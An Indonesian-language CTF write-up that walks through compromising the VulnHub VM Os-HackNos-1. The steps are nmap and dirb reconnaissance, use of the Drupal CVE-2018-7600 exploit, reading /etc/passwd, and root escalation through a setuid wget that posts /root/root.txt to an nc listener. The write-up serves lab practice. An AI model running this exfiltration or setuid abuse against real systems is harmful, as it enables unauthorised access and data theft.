[VulnHub] Os-HackNos-1
Kali ini saya akan memposting tentang write-up salah satu VM di VulnHub yaitu Os-HackNos. Machine ini memiliki difficulty Easy to Intermediate.
Konfigurasi Network
Saya menjalankan machine ini di VirtualBox dengan adapter Bridged terkoneksi ke WiFI.
Information Gathering
Yang pertama harus diketahui adalah IP address dari si target. Caranya adalah dengan melakukan ping sweep dengan menggunakan nmap.
# nmap -sP 192.168.43.1–255
Dari hasil ping sweep diatas maka diketahui IP address machine adalah 192.168.43.80.
Langkah kedua adalah melakukan port scanning untuk mengetahui port dan layanan yang berjalan di mesin target.
# nmap -A 192.168.43.80 -oN initial.nmap
Dari point http-title menunjukkan index.html dari mesin target hanya berupa default page apache. Langkah selanjutnya adalah melakukan directory scanning menggunakan dirb.
# dirb http://192.168.43.80 /usr/share/wordlists/dirb/common.txt
Berdasarkan hasil scan diatas dapat diketahui bahwa machine tsb menggunakan CMS Drupal.
Lalu coba mengakses robots.txt untuk mengetahui direktori lain yang mungkin tidak terscan dan saya menemukan CHANGELOG.txt.
Dalam file CHANGELOG.txt dapat diketahui bahwa versi Drupal yang digunakan adalah versi 7.57
Copas versi drupal + tambah kata “vulnerability” lalu kita dapat public exploit CVE-2018–7600 :).
Attacking
Langkah selanjutnya adalah mencari flag user dan root. Untuk flag user umumnya terdapat di directory home suatu user. Cek /etc/passwd untuk mengetahui user lain yang terdapat pada sistem.
cat /etc/passwd
Pindah ke directory /home/james dan kita mendapat flag user. Langkah selanjutnya adalah mencari flag root yang terdapat di directory /root, untuk itu, kita harus mendapat akses root dengan melakukan privilege escalation.
Langkah pertama yang saya lakukan adalah melakukan system enumeration dengan LinEnum.
Upload LinEnum.sh lewat meterpreter lalu jalankan di shell.
Hasil scan LinEnum menunjukkan bahwa file/program wget mempunyai flag “s” atau “setuid”. Flag setuid menunjukkan bahwa suatu file dapat dijalankan dengan menggunakan permission dari pemilik file. Jadi apabila kita menggunakan wget, maka otomatis kita akan menggunakan privilege dari root secara sementara.
Dengan logika diatas maka saya coba untuk mendownload flag root di /root dengan menggunakan wget. Umumnya flag root bernama root.txt atau flag.txt.
Jalankan netcat untuk melisten port 80
# nc -lvnp 80
Lalu kirim saya coba untuk mengirim root.txt ke alamat IP local dengan wget.. dan ternyata berhasil :)
$ wget --post-file=/root/root.txt 192.168.43.192
Sayangnya metode diatas hanya bermodal pure luck xD, apabila flag root tidak bernama “root.txt” maka flag root tidak akan berhasil didapatkan. Ada metode lain yang lebih teknis yaitu dengan mengoverwrite file passwd untuk menyimpan informasi user baru kita dengan privilege root.